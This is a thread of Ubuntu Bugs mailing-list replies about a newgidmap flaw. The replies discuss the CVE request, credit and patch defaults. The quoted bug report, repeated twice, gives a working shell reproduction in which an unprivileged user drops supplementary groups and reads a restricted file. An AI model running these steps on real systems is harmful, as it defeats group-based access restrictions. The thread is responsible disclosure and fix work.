Re: [Bug 1729357] Re: unprivileged user can drop supplementary groups
On Thu, Feb 15, 2018 at 11:30 PM, Craig Furman <1729...@bugs.launchpad.net> wrote: > Thanks for the credit! I did highlight that the bug was in newgidmap in > my initial report, by the way. No problem -- you found the issue after all. Sorry for getting the timeline wrong, did you want me to change the credits at all? It's your call. > Aleksa, thanks for asking for a CVE? How did you go about this? This is > new territory to me. You just submit the online form at https://cveform.mitre.org/. You can also go through the project if the project is registered with MITRE. (Canonical is registered for example, but since this bug affects all distributions and not just Ubuntu I felt it made more sense to just submit directly.) There didn't appear to be any way for me to add you to Cc in the form (I could only provide a single contact address), but I can forward the mails to you. -- Aleksa Sarai (cyphar) www.cyphar.com -- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/1729357 Title: unprivileged user can drop supplementary groups To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
Re: [Bug 1729357] Re: unprivileged user can drop supplementary groups
Yes, of course. "Craig Furman (Pivotal)" is in the credits. I also
added Akihiro Suda (for suggesting him that it was a newgidmap bug)
and myself (for working on a fix for it), but if Craig prefers I can
just make him the only credit.
On Thu, Feb 15, 2018 at 11:00 PM, Christian Brauner
wrote:
> On Thu, Feb 15, 2018 at 11:29:03AM -, Aleksa Sarai wrote:
>> I've just sent a request for a CVE. I'm working on the patch now. My
>
> I assume the CVE will at least be correctly attributed to Craig.
>
> Christian
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1729357
>
> Title:
> unprivileged user can drop supplementary groups
>
> Status in shadow package in Ubuntu:
> Confirmed
>
> Bug description:
> Distribution: Ubuntu 16.04.3 LTS
> Kernel: 4.4.0-97-generic
> uidmap package version: 1:4.2-3.1ubuntu5.3
>
> The newgidmap setuid executable allows any user to write a single
> mapping line to the gid_map of a process whose identity is the same as
> the calling process, as long as that mapping line maps the process's
> own GID outside of the user namespace to GID 0 inside the user
> namespace.
>
> Newgidmap will write the mapping regardless of the content of
> /proc/$process_being_mapped/setgroups, which will initially contain
> the string "allow". After this mapping is performed, and also after
> the process' uid_map is written with newuidmap, the process in the
> user namespace will be able to use the setgroups system call to drop
> supplementary groups.
>
> This is possible even if there is no entry for the user in
> /etc/subgid, because no subordinate GIDs are actually being used.
>
> This allows any user to circumvent the use of supplementary groups as
> blacklists, e.g. for some file owned by root:blacklist with permission
> bits 0604 (octal). Normally any process whose identity included the
> group "blacklist" in its supplementary groups would not be able to
> read that file. By performing this exploit using newgidmap, they can
> drop all supplementary groups and read that file.
>
> If newgidmap was not available, unprivileged users would not be able
> to write a process's gid_map until writing "deny" to
> /proc/$pid/setgroups. A fix for this might be for newgidmap to check
> the content of /proc/$process_being_mapped/setgroups is "deny", but we
> have not tried to patch this ourselves.
>
> An example using 2 login shells for a user named "someone" on Ubuntu
> Xenial, with the uidmap package installed:
>
> Shell 1
>
> someone@ubuntu-xenial:~$ id
> uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)
>
> someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict
> -rwr-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict
>
> someone@ubuntu-xenial:~$ cat /tmp/should_restrict
> cat: /tmp/should_restrict: Permission denied
>
> someone@ubuntu-xenial:~$ unshare -U --setgroups allow #
> /proc/self/setgroups already contains 'allow', but let's be explicit
>
> nobody@ubuntu-xenial:~$ echo $$
> 1878
>
> Shell 2
>
> someone@ubuntu-xenial:~$ cat /etc/subuid
> lxd:10:65536
> root:10:65536
> ubuntu:165536:65536
>
> someone@ubuntu-xenial:~$ cat /etc/subgid
> lxd:10:65536
> root:10:65536
> ubuntu:165536:65536
>
> # There are no entries in /etc/sub{u,g}id for someone, but this
> doesn't matter that much as subordinate IDs are not being requested.
>
> someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1
>
> someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1
>
> Back to shell 1
>
> nobody@ubuntu-xenial:~$ id
> uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
>
> # The presence of the "nogroup" supplementary group indicates that
> some unmapped GIDs are present as supplementary GIDs. The kernel knows
> that this process still has "restricted" in its supplementary groups,
> so it can't read the restricted file yet.
>
> nobody@ubuntu-xenial:~$ cat /tmp/should_restrict
> cat: /tmp/should_restrict: Permission denied
>
> # The process has gained CAP_SETGID in its user namespace by becoming
> UID 0. /proc/$pid/setgroups contains "allow", so it can call
> setgroups(2). By su-ing to root (itself, in the user namespace), it
> can drop the supplementary groups. It can't read /root/.bashrc as that
> file is owned by UID 0 in the initial user namespace, which creates
> some distracting error output but doesn't matter in this case.
>
> nobody@ubuntu-xenial:~$ su root
> su: Authentication failure
> (Ignored)
> bash: /root/.bashrc: Permission denied
>
> # Supplementary groups have been dropped
>
> root@ubuntu-xenial:~# id
> uid=0(root) gid=0(root) groups=0(root)
>
> # It can read the restricted file
>
> root@ubuntu-xenial:~# cat /tmp/should_restrict
> content
>
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357
Re: [Bug 1729357] Re: unprivileged user can drop supplementary groups
On Thu, Feb 15, 2018 at 11:29:03AM -, Aleksa Sarai wrote: > I've just sent a request for a CVE. I'm working on the patch now. My I assume the CVE will at least be correctly attributed to Craig. Christian -- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/1729357 Title: unprivileged user can drop supplementary groups To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
Re: [Bug 1729357] Re: unprivileged user can drop supplementary groups
This sounds acceptable to me. Issues or (even better) PRs against
github.com/shadow-maint/shadow would be great :)
Indeed the default should be the more permissible. (I won't accept
patches which require changes to the container runtime.)
On Mon, Jan 15, 2018 at 9:13 AM, Akihiro Suda wrote:
>> And we define flags "allow_setgroups" and "deny_setgrouops" (with
> "deny_setgroups" being the default).
>
>
> I think allow_setgropus should be the default for keeping compatibility.
>
> However, useradd(8) may print warning for the default configuration.
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1729357
>
> Title:
> unprivileged user can drop supplementary groups
>
> Status in shadow package in Ubuntu:
> Confirmed
>
> Bug description:
> Distribution: Ubuntu 16.04.3 LTS
> Kernel: 4.4.0-97-generic
> uidmap package version: 1:4.2-3.1ubuntu5.3
>
> The newgidmap setuid executable allows any user to write a single
> mapping line to the gid_map of a process whose identity is the same as
> the calling process, as long as that mapping line maps the process's
> own GID outside of the user namespace to GID 0 inside the user
> namespace.
>
> Newgidmap will write the mapping regardless of the content of
> /proc/$process_being_mapped/setgroups, which will initially contain
> the string "allow". After this mapping is performed, and also after
> the process' uid_map is written with newuidmap, the process in the
> user namespace will be able to use the setgroups system call to drop
> supplementary groups.
>
> This is possible even if there is no entry for the user in
> /etc/subgid, because no subordinate GIDs are actually being used.
>
> This allows any user to circumvent the use of supplementary groups as
> blacklists, e.g. for some file owned by root:blacklist with permission
> bits 0604 (octal). Normally any process whose identity included the
> group "blacklist" in its supplementary groups would not be able to
> read that file. By performing this exploit using newgidmap, they can
> drop all supplementary groups and read that file.
>
> If newgidmap was not available, unprivileged users would not be able
> to write a process's gid_map until writing "deny" to
> /proc/$pid/setgroups. A fix for this might be for newgidmap to check
> the content of /proc/$process_being_mapped/setgroups is "deny", but we
> have not tried to patch this ourselves.
>
> An example using 2 login shells for a user named "someone" on Ubuntu
> Xenial, with the uidmap package installed:
>
> Shell 1
>
> someone@ubuntu-xenial:~$ id
> uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)
>
> someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict
> -rwr-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict
>
> someone@ubuntu-xenial:~$ cat /tmp/should_restrict
> cat: /tmp/should_restrict: Permission denied
>
> someone@ubuntu-xenial:~$ unshare -U --setgroups allow #
> /proc/self/setgroups already contains 'allow', but let's be explicit
>
> nobody@ubuntu-xenial:~$ echo $$
> 1878
>
> Shell 2
>
> someone@ubuntu-xenial:~$ cat /etc/subuid
> lxd:10:65536
> root:10:65536
> ubuntu:165536:65536
>
> someone@ubuntu-xenial:~$ cat /etc/subgid
> lxd:10:65536
> root:10:65536
> ubuntu:165536:65536
>
> # There are no entries in /etc/sub{u,g}id for someone, but this
> doesn't matter that much as subordinate IDs are not being requested.
>
> someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1
>
> someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1
>
> Back to shell 1
>
> nobody@ubuntu-xenial:~$ id
> uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
>
> # The presence of the "nogroup" supplementary group indicates that
> some unmapped GIDs are present as supplementary GIDs. The kernel knows
> that this process still has "restricted" in its supplementary groups,
> so it can't read the restricted file yet.
>
> nobody@ubuntu-xenial:~$ cat /tmp/should_restrict
> cat: /tmp/should_restrict: Permission denied
>
> # The process has gained CAP_SETGID in its user namespace by becoming
> UID 0. /proc/$pid/setgroups contains "allow", so it can call
> setgroups(2). By su-ing to root (itself, in the user namespace), it
> can drop the supplementary groups. It can't read /root/.bashrc as that
> file is owned by UID 0 in the initial user namespace, which creates
> some distracting error output but doesn't matter in this case.
>
> nobody@ubuntu-xenial:~$ su root
> su: Authentication failure
> (Ignored)
> bash: /root/.bashrc: Permission denied
>
> # Supplementary groups have been dropped
>
> root@ubuntu-xenial:~# id
> uid=0(root) gid=0(root) groups=0(root)
>
> # It can read the restricted file
>
> root@ubuntu-xenial:~# cat /tmp/should_restrict
> content
>
> To manage notifications about this bug go to:
> https://bugs.launc
